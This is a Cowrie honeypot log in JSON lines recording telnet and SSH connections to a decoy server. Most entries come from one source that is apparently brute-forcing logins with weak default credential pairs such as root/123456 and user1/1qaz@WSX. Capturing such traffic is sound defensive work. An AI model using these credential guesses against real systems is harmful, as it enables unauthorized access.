{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":33196,"dst_ip":"10.17.0.5","dst_port":23,"session":"c01a744b26a3","protocol":"telnet","message":"New connection: 45.58.127.90:33196 (10.17.0.5:23) [session: c01a744b26a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:36.530898Z"}
{"eventid":"cowrie.session.closed","duration":37.49378299713135,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:37.670717Z","src_ip":"45.58.127.90","session":"046b8e33e8e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47924,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb253f8d2fa6","protocol":"ssh","message":"New connection: 176.65.132.129:47924 (159.203.135.109:22) [session: eb253f8d2fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:38.341501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:38.344590Z","src_ip":"176.65.132.129","session":"eb253f8d2fa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:38.427298Z","src_ip":"176.65.132.129","session":"eb253f8d2fa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:38.674104Z","src_ip":"176.65.132.129","session":"eb253f8d2fa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:39.759632Z","src_ip":"176.65.132.129","session":"eb253f8d2fa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47936,"dst_ip":"159.203.135.109","dst_port":22,"session":"dd8d5afc11bf","protocol":"ssh","message":"New connection: 176.65.132.129:47936 (159.203.135.109:22) [session: dd8d5afc11bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:41.703727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:41.710823Z","src_ip":"176.65.132.129","session":"dd8d5afc11bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:41.792611Z","src_ip":"176.65.132.129","session":"dd8d5afc11bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:42.037154Z","src_ip":"176.65.132.129","session":"dd8d5afc11bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:43.121292Z","src_ip":"176.65.132.129","session":"dd8d5afc11bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":47952,"dst_ip":"159.203.135.109","dst_port":22,"session":"2801e8ec8ef9","protocol":"ssh","message":"New connection: 176.65.132.129:47952 (159.203.135.109:22) [session: 2801e8ec8ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:45.087077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:45.091813Z","src_ip":"176.65.132.129","session":"2801e8ec8ef9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:45.175188Z","src_ip":"176.65.132.129","session":"2801e8ec8ef9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"reza","password":"reza","message":"login attempt [reza/reza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:45.634603Z","src_ip":"176.65.132.129","session":"2801e8ec8ef9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:46.719368Z","src_ip":"176.65.132.129","session":"2801e8ec8ef9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59258,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0ee655b9aa8","protocol":"ssh","message":"New connection: 176.65.132.129:59258 (159.203.135.109:22) [session: d0ee655b9aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:48.612875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:48.619743Z","src_ip":"176.65.132.129","session":"d0ee655b9aa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:48.701462Z","src_ip":"176.65.132.129","session":"d0ee655b9aa8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:48.946679Z","src_ip":"176.65.132.129","session":"d0ee655b9aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:50.030435Z","src_ip":"176.65.132.129","session":"d0ee655b9aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59274,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ce49aef5bb3","protocol":"ssh","message":"New connection: 176.65.132.129:59274 (159.203.135.109:22) [session: 5ce49aef5bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:51.947649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:51.951666Z","src_ip":"176.65.132.129","session":"5ce49aef5bb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:52.033402Z","src_ip":"176.65.132.129","session":"5ce49aef5bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.8214795589447,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:52.202588Z","src_ip":"45.58.127.90","session":"38295f154590","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:52.470645Z","src_ip":"176.65.132.129","session":"5ce49aef5bb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:53.557713Z","src_ip":"176.65.132.129","session":"5ce49aef5bb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59282,"dst_ip":"159.203.135.109","dst_port":22,"session":"52c803597e74","protocol":"ssh","message":"New connection: 176.65.132.129:59282 (159.203.135.109:22) [session: 52c803597e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:55.547310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:55.552070Z","src_ip":"176.65.132.129","session":"52c803597e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:55.634611Z","src_ip":"176.65.132.129","session":"52c803597e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:55.883693Z","src_ip":"176.65.132.129","session":"52c803597e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:56.969237Z","src_ip":"176.65.132.129","session":"52c803597e74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35108,"dst_ip":"159.203.135.109","dst_port":22,"session":"39ae50624363","protocol":"ssh","message":"New connection: 176.65.132.129:35108 (159.203.135.109:22) [session: 39ae50624363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:58.922408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:58.926173Z","src_ip":"176.65.132.129","session":"39ae50624363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:59.008137Z","src_ip":"176.65.132.129","session":"39ae50624363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:59.253611Z","src_ip":"176.65.132.129","session":"39ae50624363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:00.339140Z","src_ip":"176.65.132.129","session":"39ae50624363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35122,"dst_ip":"159.203.135.109","dst_port":22,"session":"42ee6aed78d4","protocol":"ssh","message":"New connection: 176.65.132.129:35122 (159.203.135.109:22) [session: 42ee6aed78d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:02.525369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:02.530057Z","src_ip":"176.65.132.129","session":"42ee6aed78d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:02.610695Z","src_ip":"176.65.132.129","session":"42ee6aed78d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"palworld","password":"palworld","message":"login attempt [palworld/palworld] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:02.933971Z","src_ip":"176.65.132.129","session":"42ee6aed78d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:04.019774Z","src_ip":"176.65.132.129","session":"42ee6aed78d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54552,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ad3d22b4e34","protocol":"ssh","message":"New connection: 176.65.132.129:54552 (159.203.135.109:22) [session: 8ad3d22b4e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:05.865682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:59:05.870090Z","src_ip":"176.65.132.129","session":"8ad3d22b4e34","protocol":"ssh"}
